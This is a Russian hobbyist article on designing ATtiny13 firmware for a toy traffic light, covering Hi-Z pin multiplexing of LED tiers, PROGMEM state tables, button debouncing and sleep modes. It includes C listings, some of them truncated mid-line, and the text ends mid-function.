По данной матрице периодов, и учитывая, что направления север-юг и запад-восток у светофора по управлению равнозначны, естественный вывод: для управления огнями необходимо и достаточно 6 сигналов управления. Когда-то хабровчанин [denvo](https://habr.com/ru/users/denvo/) в статье "[Мало выводов? Используем RESET](https://habr.com/ru/post/110894/)" при решении сходной задачи светофора ограничился 5-ю выводами для управления сигнализацией светофора, сделав управление желтым цветом общим, но в случае моей матрицы видно, что желтыми сигналами необходимо управлять раздельно, так что все-таки ножек нужно шесть.
И еще желается как-то переключать регулирующий и нерегулирующий режимы: желтый мигающий и красно-желто-зеленый, т.е. нужна еще ножка для кнопки переключения, уже 7 выводов требуется.
Хорошо бы еще кнопку выключения — чтобы не тратилась, значится, зазря энергия, итого уже 8, нес па?
А еще, чисто по-человечески, не хотелось бы задействовать вывод "reset", PB5, чтобы не терять возможность внутрисхемного перепрограммирования.
Ведь что есть человек, философски говоря? Человек, товарищи, есть хомо сапиенс, который может и хочет. Может, эта, всё, что хочет, а хочет всё, что может.
А хочет, как видите, 8 или 9 линий ввода-вывода у микросхемы, у которой физически 8 ножек — и это вместе с землей и питанием. Вариант использования дополнительной микросхемы, расширяющей количество портов ввода-вывода, мы с негодованием, товарищи, отвергнем, как неприемлемо буржуазный.
Надо решить задачу — как добавить недостающие ноги.
Рассматриваю матрицу состояния пристальнее: зеленые сигналы северного и восточного направлений не могут гореть одновременно — иначе одновременно было бы разрешено движение для пересекающихся потоков. Разрешающий сигнал для одного направления должен выключать разрешающий цвет для другого.
Схемотехнически можно управлять двумя зелеными ветками одним пином МК:
Подача 1 на управляющий выход PORTB |= \_BV(GREEN\_PIN) — включает левую ветку (север и юг) светодиодов, а подача 0 т.е. PORTB &= ~(\_BV(GREEN\_PIN)) — правую (восток и запад).
А что делать, когда необходимо выключить обе ветки, когда ни один зеленый не горит?
А просто ранее определенный выход (DDRB |= \_BV(GREEN\_PIN)) переопределить как вход, DDRB &= ~(\_BV(GREEN\_PIN)), GREEN\_PIN в состоянии Hi-Z не привносит никакого потенциала в цепочку. Последовательное падение на четырех светодиодах (2.2В \* 4) будет превышать имеющиеся 5В, и напряжения для свечения не хватит.
Управление красным ярусом сигналов вполне укладывается в ту же самую логику.
И только желтый ярус должен иметь отдельные управляющие сигналы для нормальных сторон — т.к. есть еще и режимы, когда выключены все желтые сигналы, и когда все выключены.
**Конечно, вру, не так уж обязательно и должен**Можно, вполне можно реализовать управление и желтым ярусом также одним проводом по той же схеме подключения. Если чуть смухлевать, организовав импульсное управление — включая и выключая сигналы поочередно, для глаза 37/2=18 Гц не будут выглядеть постоянным свечением, но можно просыпаться в цикле не с такими длинными паузами, и переключать гораздо чаще. Но:
а) идея не моя, самому в голову не пришло, не вспомнилось, подсказал человек, гораздо более опытный в схемотехнике;
б) усложнение кода — не просто из справочной таблицы назначать значения регистров, но еще и реализовать режим "быстрого переключения" или запуска аппаратного ШИМ для ситуации 4х желтых лампочек;
в) изменение яркости, когда после пары желтых начинают светить 4 (переходы PERIOD\_2->PERIOD\_3 и PERIOD\_6->PERIOD\_7);
г) использование 4 ног на управление всеми световыми сигналами и так освобождает достаточно ресурсов для реализации остальных хотелок человека желающего.
Окончательная принципиальная схема.
```
// PINB === 0 0 0 g r y0 btt y1
#define RED_PIN PB3 // OUT: 1 - "север-юг" красный, 0 - "запад-восток" , IN - ни один, выключен, подтяжку не(!) включать
#define YELLOW0_PIN PB2 // OUT: 1 - желтый "север-юг"
#define YELLOW1_PIN PB0 // OUT: 1 - желтый "запад-восток"
#define GREEN_PIN PB4 // OUT: 1 - "север-юг" зеленый, 0 - "запад-восток" , IN - ни один, выключен, подтяжку не(!) включать
#define RED _BV(RED_PIN) // _BV - сдвиг влево единицы на количество(), 1<
```
Кнопка — на последнем оставшемся пине. Если распознавать длительность нажатия, короткое как сигнал для переключения режимов работы светофора с регулируемого на нерегулируемый, а длинное — как сигнал на включение и выключение, закроем оставшиеся задачи ТЗ.
```
#define BUTTON_PIN PB1
#define BUTTON_ON !(PINB & _BV(BUTTON_PIN)) //( (PINB & _BV(BUTTON_PIN)) == 0) // условие "кнопка нажата" - на кнопке LOW
#define BUTTON_OFF (PINB & _BV(BUTTON_PIN)) // условие "не нажата" - на пине кнопки HIGH, (пин на схеме притянут к питанию)
```
***Читатели Гарри Поттера на этом месте могут возразить, что заклинание [Чарлиплексинг](https://en.wikipedia.org/wiki/Charlieplexing), позволяет управляя n ножками зажигать (и тушить) n(n−1) = n²−n светодиодов. Для 4 пинов получим 12 управляемых светодиодов, то есть любым светодиодом светофора возможно будет управлять независимо. Индикация сигналов «да нет, наверное» или «ой всё, делай что хочешь» на произвольной стороне светофора превращается в тривиальную задачу.***
**Схемотехника варианта чарлиплексинга для 12 LED**
\*\*\*Расплата — усложнение программного кода, исчезает красота переключения режимов горения просто присвоением значений DDRx|PORTx, работа в импульсном режиме на высокой частоте, т.к. постоянство свечения в чарлиплексинге это физиологическая иллюзия. Регулировка падения напряжения на разных цепочках принесет немало сюрпризов — три цвета диодов, это три варианта рабочих токов и падений напряжения, обеспечивать сравнимую яркость придется подбором скважности для различных цветов.
И все эти излишние сложности не дают никаких ключевых преимуществ именно для светофора по сравнению с вариантом управления ярусами на средней точке.\*\*\*
#### Пару слов о пятом измерении: как впихнуть невпихуемое?
Любое рабочее состояние светофора полностью определяется вышеописанной структурой типа lightSignalization. Массив вышеописанных структур lightSignalization содержит данные по всем возможным состояниям режимов работы. Элементы массива с 0го по 7й регулирующие сигналы, 8й — мигающий желтый, и 9й — режим, где все "лампочки" у светофора выключены. В дефайнах определены номера элементов, но обязательным должны быть только значения номеров с 0 по 7, их номероместо используется в логике программы. Да, я знаю, что тащить данные в код непристойно. Но альтернативой работы с 3х битным циклическим счетчиком (от 0 до 7) для 8ми состояний стандартного к-ж-з режима являются дополнительные проверки на достижения максимальных и минимальных значений режима при увеличении. Любые ветки if-ов и снижают быстродействие, и раздувают объём кода. Поэтому назову это красивой непристойностью, практически светофорной эротикой.
```
lightSignalization traffic_signals[] = {// Порядок чередования сигналов
// {DDRB0, PORTB0, DDRB_when_flashingif, PORTB_when_flasingif (if flashing), continous of half-period flashing, continous curr mode runing}
{RED|GREEN, RED, 0, 0, 0, PERIOD_0}, // R G R G
{RED, RED, RED|GREEN, RED, QT_SECOND, PERIOD_1}, // R g R g - flash east green
{RED|YELL1, RED|YELL1, 0, 0, 0, PERIOD_2 }, // R Y1 R Y1
{RED|YELL0|YELL1, RED|YELL0|YELL1, 0, 0, 0, PERIOD_3 }, // RY0 Y1 RY0 Y1
{RED|GREEN, GREEN, 0, 0, 0, PERIOD_4}, // G R G R
{RED|GREEN, GREEN, RED, 0, QT_SECOND, PERIOD_5 }, // g R g R - flash nord green
{RED|YELL0, YELL0, 0, 0, 0, PERIOD_6}, // Y0 R Y0 R
{RED|YELL0|YELL1, YELL0|YELL1, 0, 0, 0, PERIOD_7 }, // Y0 RY1 Y0 RY1
{YELL0|YELL1, YELL0|YELL1, YELL0|YELL1, 0, ONE_SECOND, 0}, // y0 y1 y0 y1 - flash yellows lights
{0, 0, 0, 0, 0, 0} // traffic lights off, DDR in, Hi-Z
};
// номера режимов работы в массиве lightSignalization traffic_signals[]
#define LIGHT_NUM_YELLOW_FLASH 8 // номер состояния порта при мигании желтым - включено - flash yellows lights
#define LIGHT_NUM_STD_START 0 // С какого номера начинается работа стандартного режима
#define LIGHT_NUM_LIGHTS_OFF 9 // номер состояния порта всё выключено - в спячке - traffic lights off
```
Каждый экземпляр lightSignalization требует 8 байт оперативной памяти. Т.о. для глобальной переменной массива traffic\_signals[] из 10 таких значений памяти необходимо 80 байт (ага, из 64 физически присутствующих, причем 2 у нас уже под таймер). Нельзя забывать, что используется оперативка и для организации стека программы.
К счастью, массив предопределенный, константный, для этого варианта переменных существует академический выход из положения — помещение констант в ROM, программную память, и извлечение в RAM только тех значений, что требуются на данный момент.
Всего-то необходимо изменить определение массива как
```
const lightSignalization traffic_signals[] PROGMEM= {...
```
И помнить, что чтения значений структуры теперь нужно будет организовывать через функции
```
pgm\_read\_byte\_near() и pgm\_read\_word\_near()
```
для char и shortint соответственно.
Светофор работает в одном из 3 состояний режимов сигнализации.
1. Сигнализация выключена, все огни погашены.
Номер в массиве traffic\_signals[] — **LIGHT\_NUM\_LIGHTS\_OFF**
{0, 0, 0, 0, 0, 0} // traffic lights off
Самый простой режим — в lightSignalization все нули, все пины управления светодиодами — входы, продолжительность сигнала lightSignalization.signal\_period==0 (т.е. бесконечность), продолжительность мигания lightSignalization.flash\_period==0, т.е. та же бесконечность.
2. Нерегулирующая сигнализация, мигающий желтый.
Номер в массиве traffic\_signals[] — **LIGHT\_NUM\_YELLOW\_FLASH**
{YELL0|YELL1, YELL0|YELL1, YELL0|YELL1, 0, ONE\_SECOND, 0}, // y0 y1 y0 y1 — flash yellows lights
Ограничения времени работы нет: lightSignalization.signal\_period==0. Но есть время изменения состояния lightSignalization.flash\_period=ONE\_SECOND, когда переключаются между собой:
```
DDRB = YELL0|YELL1; // YELL0, YELL1 - выходы
PORTB = YELL0|YELL1; // YELL0, YELL1 = HIGH - высокий уровень
```
и
```
DDRB = YELL0|YELL1; // // YELL0, YELL1 - выходы по прежнему
PORTB = 0; // YELL0, YELL1 = LOW - низкий уровень
```
3. Регулирующий сигнал, красный-желтый-зеленый.
Самый красочный, классический работающий светофор.
В массиве traffic\_signals[] самое первое состояние режима — **LIGHT\_NUM\_STD\_START**
{RED|GREEN, RED, 0, 0, 0, PERIOD\_0}, // R G R G
Режим не имеет мигания: lightSignalization.flash\_period==0.
DDRB = RED|GREEN; //RED и GREEN — как выходы, остальные входы.
PORTB = RED; // на RED — HIGH (север-юг красный и схемотехнически красный восток выключен)
// а на GREEN — LOW (север зеленого выключен, а восток-запад — наоборот зеленые)
И имеет ограничение по времени работы lightSignalization.signal\_period==PERIOD\_0, после которого необходимо переключиться на следующий режим.
Номер текущего режима работы будет в глобальной переменной current\_signal. И еще 2 глобальные переменные — время окончания режима и время окончания периода мигания, инициализируются значениями из структуры lightSignalization.
```
uint8_t current_signal; // 1 байт на текущее состояние, номер в traffic_signals
uint16_t tl_flash_end; // 2 байта на время окончания периода мигания (если !0),
uint16_t tl_signal_end; // 2 байта на время окончания работы текущего сигнала и переключения на следующий (если !0)
```
Если tl\_signal\_end != 0, то условию globalTimer>tl\_signal\_end инкрементируется current\_signal. И затем сбрасываются в 0 все разряды current\_signal, большие 3, т.е
current\_signal = current\_signal & B00000111;
или иными словами
```
current_signal &= LIGHT_NUM_STD_MASK ; //current_signal & B00000111;
```
Что превращает current\_signal в счетчик, который по кругу будет считать от 0 до 7.
В логике используется globalTimer — добавляю процедуру избежания возможности переполнения счетчиков времени.
**Исходный код изрядно подрос**
```
#include // USHRT\_MAX
#include // Да, будем спать
#include // будет использоваться прерывание
#include // Программная память для констант
#define ONE\_SECOND 37 // количество переполнений счетчика в 1 секунду
#define QT\_SECOND 9 // четверть секунды
#define MAX\_GLOBAL\_TIMER\_VALUE (USHRT\_MAX / 2) // uint16\_t globalTimer - защита от переполнения. 65535 /2
// любой период должен быть меньше, чем MAX\_GLOBAL\_TIMER\_VALUE - 1
#define PERIOD\_FLASH\_GREEN QT\_SECOND //период мигания зеленым цветом (четверть сек) - перед переключением в желтый
#define PERIOD\_FLASH\_YELLOW ONE\_SECOND \* 1 //период мигания желтым цветом - регулировка светофором отключена - секунды
// север --- восток
#define PERIOD\_0 ONE\_SECOND \* 10 //R G R G 0. красный --- зеленый (15 сек)
#define PERIOD\_1 ONE\_SECOND \* 3 //R g R g 1. красный --- зеленый мигающий (3 сек)
#define PERIOD\_2 ONE\_SECOND \* 1 //R Y R Y 2. красный --- желтый (1 сек)
#define PERIOD\_3 ONE\_SECOND \* 2 //RY Y RY Y 3. красн+желтый --- желтый (2 сек)
#define PERIOD\_4 ONE\_SECOND \* 7 //G R G R 4. зеленый --- красный (10 сек)
#define PERIOD\_5 ONE\_SECOND \* 3 //g R g R 5. зеленый мигающий --- красный(3 сек)
#define PERIOD\_6 ONE\_SECOND \* 1 //Y R Y R 6. желтый --- красный (1 сек)
#define PERIOD\_7 ONE\_SECOND \* 2 //Y RY Y RY 7. желтый --- красный+желтый (2 сек)
typedef struct{
const uint8\_t ddr\_val\_0; // DDRB value при первом полутакте мигания
const uint8\_t port\_val\_0; // PORTB value
const uint8\_t ddr\_val\_1; // DDRB value при втором полутакте мигания
const uint8\_t port\_val\_1; // PORTB value
const uint16\_t flash\_period; // period of flashing - переключение между \_val\_1 и \_val\_0
const uint16\_t signal\_period; // period of this lighting state
}lightSignalization; // состояние огней светофора, \_0 и \_1 - состояния при мигании, flash\_long - время переключения мигания
// По принципиальной схеме (PINS === 0 0 0 g r y0 btt y1):
// далее по этим определениям "собираются" байты состояний порта при компиляции
#define BUTTON PB1
#define RED\_PIN PB3 // OUT: 1 - "север-юг" красный, 0 - "запад-восток" , IN - ни один, выключен, подтяжку не(!) включать
#define YELLOW0\_PIN PB2 // OUT: 1 - желтый "север-юг"
#define YELLOW1\_PIN PB0 // OUT: 1 - желтый "запад-восток"
#define GREEN\_PIN PB4 // OUT: 1 - "север-юг" зеленый, 0 - "запад-восток" , IN - ни один, выключен, подтяжку не(!) включать
#define BUTTON\_ON !(PINB & \_BV(BUTTON)) //( (PINB & \_BV(BUTTON)) == 0) // условие "кнопка нажата"
#define BUTTON\_OFF (PINB & \_BV(BUTTON)) // ~(PINB & \_BV(BUTTON)) -\\- "не нажата"
#define RED \_BV(RED\_PIN) // \_BV - сдвиг влево единицы на количество(), 1< MAX\_GLOBAL\_TIMER\_VALUE){
globalTimer -= MAX\_GLOBAL\_TIMER\_VALUE; // откатить глобальный таймер
//
if(tl\_flash\_end){
tl\_flash\_end -= MAX\_GLOBAL\_TIMER\_VALUE; // откатить период мигания, если есть
}
if(tl\_signal\_end){
tl\_signal\_end -= MAX\_GLOBAL\_TIMER\_VALUE; // // откатить период состояния, если есть
}
// setPeriods(currentMode, false); // код на 12 байт меньше, но tl\_..\_end сбросятся в исходное, будет единичным увеличенным интервалом переключения
}
//если в режиме работы есть мигание (tl\_flash\_end !=0 )
if(tl\_flash\_end){
// и время смены мигания пришло
if(globalTimer > tl\_flash\_end){
use\_main\_values = !use\_main\_values; // !use\_main\_values - или или одно из двух ))
setPorts(current\_signal, use\_main\_values); // переключить режим текущего состояния на противоположный
setPeriods(current\_signal, false); // обновить только следующий период мигания, но не состояния
}
}
// если в режиме работы есть ограничение времени состояния - собственно это только operating\_std отображение последовательности по ГОСТУ - красный-желтый-зеленый
if(tl\_signal\_end){
// и уже пора переключиться на следующий (use\_main\_values - чтобы переключение было с горящего зеленого - на желтый)
if((globalTimer > tl\_signal\_end) && use\_main\_values){
current\_signal ++; // следующий сигнал светофора
current\_signal &= LIGHT\_NUM\_STD\_MASK; // обнулить биты выше 3-го, в основном режиме рабочие номера состояний с 0 по 7
use\_main\_values = true; // начинается - с нулевой пары состояний
setPorts(current\_signal, use\_main\_values); // переключить режим текущего состояния на следующий в массиве
setPeriods(current\_signal, true); // обновить следующий период мигания и период состояния
}
}
sleep\_cpu(); //и в самом конце бесконечного цикла - уходим в сон.
}
}
// установка значений портов
void setPorts(uint8\_t num, bool use\_main\_values){
uint8\_t val;
DDRB = 0; PORTB = 0;
// Если основной режим (мигания) - ddr\_val\_0, else = ddr\_val\_1
// val = (use\_main\_values) ? pgm\_read\_byte\_near(&(traffic\_signals[num].ddr\_val\_0))
// : pgm\_read\_byte\_near(&(traffic\_signals[num].ddr\_val\_1));
// то же самое, но непонятно, некрасиво, арифметика указателей, данные в коде, зато на 14 (!!!) байт код короче.
val = pgm\_read\_byte\_near(&(traffic\_signals[num].ddr\_val\_0)+( (use\_main\_values) ? 0 : 2) );
val &= ~\_BV(BUTTON); // сброс бита пина кнопки - ВХОД
DDRB = val; // установка режима пинов порта
val = (use\_main\_values) ? pgm\_read\_byte\_near(&(traffic\_signals[num].port\_val\_0))
: pgm\_read\_byte\_near(&(traffic\_signals[num].port\_val\_1));
val|= \_BV(BUTTON); // подтяжка на пине кнопки - активируется - срабатывание на низкий уровень
PORTB = val; // установка значений выходов и входов порта
}
//Установить время окончания режима мигания (или
void setPeriods(uint8\_t num, bool set\_both\_flash\_and\_signal){
// глобальные переменные
tl\_flash\_end = pgm\_read\_word\_near (&(traffic\_signals[num].flash\_period)); // период мигания
tl\_flash\_end = (tl\_flash\_end)? tl\_flash\_end + globalTimer : 0; //время окончания режима мигания - если не нулевое значение периода
//if(tl\_flash\_end){ tl\_flash\_end += globalTimer; } <- вот так код на 8 байт длиннее
// если установить оба периода - и состояния и мигания
if(set\_both\_flash\_and\_signal){
tl\_signal\_end = pgm\_read\_word\_near(&(traffic\_signals[num].signal\_period));
tl\_signal\_end = (tl\_signal\_end)? tl\_signal\_end + globalTimer : 0; // время переключения на следующий режим, если не нулевое значение
}
}
//Program size: 610 bytes (used 60% of a 1 024 byte maximum) (0,58 secs)
//Minimum Memory Usage: 7 bytes (11% of a 64 byte maximum)
```
#### Сложная логика простой кнопки
Нужно избавиться от возможного дребезга контактов, заодно реализовав различную отработку вариантов в различной длительностью нажатия кнопки. В каждом проходе бесконечного цикла если кнопка нажата — инкрементировать счетчик btn\_cnt (не превышая максимально возможное значение переменной), ну и сразу (раз уж переменная уже загружена в регистры из памяти) проверить на превышение трешхолдов короткого и длинного нажатий и запомнить эти результаты в булевых переменных.
```
#define PERIOD_PRESS_BUTTON_SHORT QT_SECOND // Длительность короткого нажатия на кнопку - переключение состояний
#define PERIOD_PRESS_BUTTON_LONG QT_SECOND*6 // Длительность долгого нажатия на кнопку - включение/выключение
uint8_t scan_button_cnt; // счетчик длительности нажатия кнопки
//проверка нажатия кнопки
if(BUTTON_ON){
if(scan_button_cnt PERIOD\_PRESS\_BUTTON\_SHORT){
// кстати, нажатие уже длиннее короткого нажатия
}
if(scan\_button\_cnt > PERIOD\_PRESS\_BUTTON\_LONG){
// и даже длиннее нажатия длинного
}
}
```
Листинг логики обработки кнопки — переложение рисунка машины состояний на С.
Вместо используемого ранее режима сна SLEEP\_MODE\_IDLE (отключается только программная память и CPU), в состоянии PwrDown переключаюсь в режим SLEEP\_MODE\_PWR\_DOWN — а уйдя в него микропроцессор сможет проснуться только ~~от поцелуя принца~~ от прерываний watchdog таймера или внешнего прерывания INT0, если оно разрешено, а оно будет разрешено — и добавлю обработку внешнего прерывания INT0.
Энергопотребление МК в этом режиме падает до минимума. В разделе 7.Power management and sleep modes спецификации МК ATtiny13 подробно описано, как можно выжать еще процентов 5-10 экономии, но это уже блохи на фоне потребления остальной части изделия.
Для экономии оперативной памяти вместо нескольких булевых переменных задействую отдельные биты специально введенной 8-битной переменной, в ней же — 2 бита для хранения текущего номера машины состояний кнопки.
```
// uint8_t f_button_state_flags; // псевдорегистр машины состояний кнопки и вместилище булевых переменных
// состояния машины состояний отслеживания кнопки MODES: wakeup 11 -> work 00 -> tosleep 01 -> pwrdown 11 -> wakeup 11
#define MODE_LBIT 0
#define MODE_HBIT 1
#define FORCE_SET_NEW_SIGNAL_BIT 2 // в конце бесконечного цикла установить новый режим работы портов по значению в current_signal
// запасной неиспользуемый бит 3
#define LIGHT_SIGNAL_ALT_MODE_BIT 4 // стандартный=0 (красный-желтый-зеленый) или альтернативный=1 (желтый мигающий) режим работы светофора
#define USE_FIRST_VALUES_LIGHT_BIT 5 // использовать первое значение пар ддр-порт структуры lightSignalization или второе
#define SHORT_PRESS_FLAG_BIT 6 // Булево, 1 когда счетчик нажатия кнопки больше короткого нажатия
#define LONG_PRESS_FLAG_BIT 7 // Булево, 1 когда счетчик нажатия кнопки больше длинного нажатия
```
Кроме этого, дефайнами определяю операции проверки битовых значений — кроме уменьшения размера кода, получу максимальное быстродействие — битовые операции CPU выполняет всего за один такт. И выглядит проверка условий в этом случае гораздо более читабельно, нежели чтение регистров и сравнение с битами в if-ах.
**Окончательный исходный код прошивки**
```
#include // USHRT\_MAX
#include // Для компиляции не из IDE
#include // Да, будем еще и немножечко спать
#include // будет использоваться прерывание
#include // Программная память для констант
#ifdef GIMSK // Если ATtiny13 - у неё есть регистр с таким названием
#define F\_CPU 9600000UL // если компилируется не из ардуино среды, нужна скорость АЛУ
#define ONE\_SECOND 37 // количество переполнений счетчика в 1 секунду
#define QT\_SECOND 9 // четверть секунды
// GIMSK &= ~\_BV(INT0); - запрет прерывания INT0
#define DISABLE\_EXTERNAL\_INT0 GIMSK &= ~(\_BV(INT0)); GIFR &= ~(\_BV(INTF0)) //EIMSK/EIFR у атмеги
//GIMSK |= \_BV(INT0) - включить прерывание INT0
#define ENABLE\_EXTERNAL\_INT0 GIMSK |= \_BV(INT0) ; GIFR &= ~(\_BV(INTF0))
#else // мега328 - моя ардуинка нано
#define F\_CPU 16000000UL
#define ONE\_SECOND 64 // количество переполнений счетчика в 1 секунду - см. инициализацию таймера ниже
#define QT\_SECOND 16 // четверть секунды
// АМ328 INT0 - ножка PD2... тут танцах вокруг единственного порта, малой кровью глубокий сон не забабахать (точнее, энергосбережение допиливать), Уход в сон от кнопки и просыпание на атмеге не реализованы полностью
#define DISABLE\_EXTERNAL\_INT0 EIMSK &= ~(\_BV(INT0)); EIFR &= ~(\_BV(INTF0))
// Увы, без эмуляции - EICRA - ISC00-ISC01 == 00, lo level, EIMSK - INT0, EIFR-INTF0
#define ENABLE\_EXTERNAL\_INT0 EIMSK |= \_BV(INT0) ; EIFR &= ~(\_BV(INTF0))
#endif
#define MAX\_GLOBAL\_TIMER\_VALUE (USHRT\_MAX / 2) // uint16\_t globalTimer - защита от переполнения. 65535 /2
// любой период должен быть меньше, чем MAX\_GLOBAL\_TIMER\_VALUE - 1
#define PERIOD\_PRESS\_BUTTON\_SHORT QT\_SECOND/2 // Длительность короткого нажатия на кнопку (меньше - дребезг) - переключение состояний
#define PERIOD\_PRESS\_BUTTON\_LONG QT\_SECOND\*4 // Длительность долгого нажатия на кнопку - включение/выключение
#define PERIOD\_FLASH\_GREEN QT\_SECOND // период мигания зеленым цветом (четверть сек) - перед переключением в желтый
#define PERIOD\_FLASH\_YELLOW ONE\_SECOND \* 1 // период мигания желтым цветом - регулировка светофором отключена - секунды
// север --- восток
#define PERIOD\_0 ONE\_SECOND \* 5 // R G R G 0. красный --- зеленый (5 сек)
#define PERIOD\_1 ONE\_SECOND \* 3 //R g R g 1. красный --- зеленый мигающий (3 сек)
#define PERIOD\_2 ONE\_SECOND \* 1 //R Y R Y 2. красный --- желтый (1 сек)
#define PERIOD\_3 ONE\_SECOND \* 2 //RY Y RY Y 3. красн+желтый --- желтый (2 сек)
#define PERIOD\_4 ONE\_SECOND \* 7 // G R G R 4. зеленый --- красный (7 сек)
#define PERIOD\_5 ONE\_SECOND \* 3 //g R g R 5. зеленый мигающий --- красный(3 сек)
#define PERIOD\_6 ONE\_SECOND \* 1 //Y R Y R 6. желтый --- красный (1 сек)
#define PERIOD\_7 ONE\_SECOND \* 2 //Y RY Y RY 7. желтый --- красный+желтый (2 сек)
//структура одного режима/состояния световой сигнализации. Может иметь второе значение - как быдет выглядеть при мигании
typedef struct{
const uint8\_t ddr\_val\_0; // DDRB value при первом полутакте мигания
const uint8\_t port\_val\_0; // PORTB value
const uint8\_t ddr\_val\_1; // DDRB value при втором полутакте мигания
const uint8\_t port\_val\_1; // PORTB value
const uint16\_t flash\_period; // period of flashing - переключение между \_val\_1 и \_val\_0 (если =0, нет мигания)
const uint16\_t signal\_period; // period of this lighting state (если =0, то режим не будет переключен со временем)
}lightSignalization; // состояние огней светофора, \_0 и \_1 - состояния при мигании, flash\_long - время переключения мигания
// По принципиальной схеме (PINS === 0 0 0 g r y0 btt y1):
// далее по этим определениям "собираются" байты состояний порта при компиляции
#define BUTTON\_PIN PB1 // вывод, у которого INT0. Кнопка, подтянута к питанию, нажатие = LOW
#define RED\_PIN PB3 // OUT: 1 - "север-юг" красный, 0 - "запад-восток" , IN - ни один, выключен, подтяжку не(!) включать
#define YELLOW0\_PIN PB2 // OUT: 1 - желтый "север-юг"
#define YELLOW1\_PIN PB0 // OUT: 1 - желтый "запад-восток"
#define GREEN\_PIN PB4 // OUT: 1 - "север-юг" зеленый, 0 - "запад-восток" , IN - ни один, выключен, подтяжку не(!) включать
#define BUTTON\_ON !(PINB & \_BV(BUTTON\_PIN)) //( (PINB & \_BV(BUTTON)) == 0) // условие "кнопка нажата"
#define BUTTON\_OFF (PINB & \_BV(BUTTON\_PIN)) // ~(PINB & \_BV(BUTTON)) -\\- "не нажата"
#define RED \_BV(RED\_PIN) // \_BV - сдвиг влево единицы на количество(), 1< work 00 -> tosleep 01 -> pwrdown 11 -> wakeup 11
#define MODE\_LBIT 0
#define MODE\_HBIT 1
#define MODE\_VALUE ( f\_button\_state\_flags & 3 ) // результат - численное значение MODE\_
#define SET\_MODE\_WORK f\_button\_state\_flags &= ~(\_BV(MODE\_HBIT) ); f\_button\_state\_flags &= ~(\_BV(MODE\_LBIT) );// 00 - work
// f\_button\_state\_flags &= ~( \_BV(MODE\_HBIT) | \_BV(MODE\_LBIT) ) - по размеру столько же, что странно
#define MODE\_WORK\_VALUE 0
#define SET\_MODE\_TOSLEEP f\_button\_state\_flags &= ~(\_BV(MODE\_HBIT)); f\_button\_state\_flags |= \_BV(MODE\_LBIT) // 01 - tosleep
#define MODE\_TOSLEEP\_VALUE 1
#define SET\_MODE\_PWRDOWN f\_button\_state\_flags |= \_BV(MODE\_HBIT); f\_button\_state\_flags &= ~(\_BV(MODE\_LBIT)) // 10 - pwrdown
#define MODE\_PWRDOWN\_VALUE 2
#define SET\_MODE\_WAKEUP f\_button\_state\_flags |= \_BV(MODE\_HBIT); f\_button\_state\_flags |= \_BV(MODE\_LBIT) // 11 - wakeup
#define MODE\_WAKEUP\_VALUE 3
#define FORCE\_SET\_NEW\_SIGNAL\_BIT 2 // в конце бесконечного цикла установить новый режим работы портов по значению в current\_signal
#define IF\_FORCE\_SET\_SIGNAL\_FLAG ( f\_button\_state\_flags & \_BV(FORCE\_SET\_NEW\_SIGNAL\_BIT) ) // IF\_ - в условие проверки флага
#define SET\_FORCE\_SET\_SIGNAL\_FLAG f\_button\_state\_flags |= \_BV(FORCE\_SET\_NEW\_SIGNAL\_BIT) // SET\_ - бит флага в 1
#define RES\_FORCE\_SET\_SIGNAL\_FLAG f\_button\_state\_flags &= ~( \_BV(FORCE\_SET\_NEW\_SIGNAL\_BIT) ) // RES\_ - бит флага в 0
// Еще 3й бит в запасе
#define LIGHT\_SIGNAL\_ALT\_MODE\_BIT 4 // стандартный=0 (красный-желтый-зеленый) или альтернативный=1 (желтый мигающий) режим работы светофора
#define IF\_LIGHT\_SIGNAL\_ALT\_MODE\_FLAG ( f\_button\_state\_flags & \_BV(LIGHT\_SIGNAL\_ALT\_MODE\_BIT) ) //1(желтый мигающий) или 0(красный-желтый-зеленый) режим работы светофора?
#define SET\_LIGHT\_SIGNAL\_ALT\_MODE\_FLAG f\_button\_state\_flags |= \_BV(LIGHT\_SIGNAL\_ALT\_MODE\_BIT)
#define RES\_LIGHT\_SIGNAL\_ALT\_MODE\_FLAG f\_button\_state\_flags &= ~( \_BV(LIGHT\_SIGNAL\_ALT\_MODE\_BIT) )
#define FLIP\_LIGHT\_SIGNAL\_ALT\_MODE\_FLAG f\_button\_state\_flags ^= \_BV(LIGHT\_SIGNAL\_ALT\_MODE\_BIT)
#define USE\_FIRST\_VALUES\_LIGHT\_BIT 5 // использовать первое значение пар ддр-порт структуры lightSignalization или второе
#define IF\_USE\_FIRST\_VALUES\_LIGHT\_FLAG (f\_button\_state\_flags & \_BV(USE\_FIRST\_VALUES\_LIGHT\_BIT)) // lightSignalization.ХХХ\_val\_0 (1) или lightSignalization.ХХХ\_val\_1 (0)? - если мигание
#define SET\_USE\_FIRST\_VALUES\_LIGHT\_FLAG f\_button\_state\_flags |= \_BV(USE\_FIRST\_VALUES\_LIGHT\_BIT)
#define RES\_USE\_FIRST\_VALUES\_LIGHT\_FLAG f\_button\_state\_flags &= ~( \_BV(USE\_FIRST\_VALUES\_LIGHT\_BIT))
#define FLIP\_USE\_FIRST\_VALUES\_LIGHT\_FLAG f\_button\_state\_flags ^= \_BV(USE\_FIRST\_VALUES\_LIGHT\_BIT) // Инвертировать флаг
#define SHORT\_PRESS\_FLAG\_BIT 6 // Булево, 1 когда счетчик нажатия кнопки больше короткого нажатия
#define IF\_SHORT\_PRESS\_FLAG ( f\_button\_state\_flags & \_BV(SHORT\_PRESS\_FLAG\_BIT) ) //условие - если значение == 1
#define SET\_SHORT\_PRESS\_FLAG f\_button\_state\_flags |= \_BV(SHORT\_PRESS\_FLAG\_BIT)
#define RES\_SHORT\_PRESS\_FLAG f\_button\_state\_flags &= ~(\_BV(SHORT\_PRESS\_FLAG\_BIT))
#define LONG\_PRESS\_FLAG\_BIT 7 // Булево, 1 когда счетчик нажатия кнопки больше длинного нажатия
#define IF\_LONG\_PRESS\_FLAG ( f\_button\_state\_flags & \_BV(LONG\_PRESS\_FLAG\_BIT) ) //условие - если значение == 1
#define SET\_LONG\_PRESS\_FLAG f\_button\_state\_flags |= \_BV(LONG\_PRESS\_FLAG\_BIT)
#define RES\_LONG\_PRESS\_FLAG f\_button\_state\_flags &= ~(\_BV(LONG\_PRESS\_FLAG\_BIT))
#pragma endregion
//.................................... Прототипы функций
void setPeriods(uint8\_t num, bool set\_both\_flash\_and\_signal); // установка tl\_flash\_end, tl\_signal\_end
void setPorts(uint8\_t num, bool use\_main\_values); // установка режима работы портов
void inline init\_timer\_clock(){ // тактирование таймера глобальной переменной времени
#ifdef GIMSK // Если ATtiny13 -
TCCR0B = \_BV(CS02) | \_BV(CS00); // Тактирование таймера0 - clock frequency / 1024
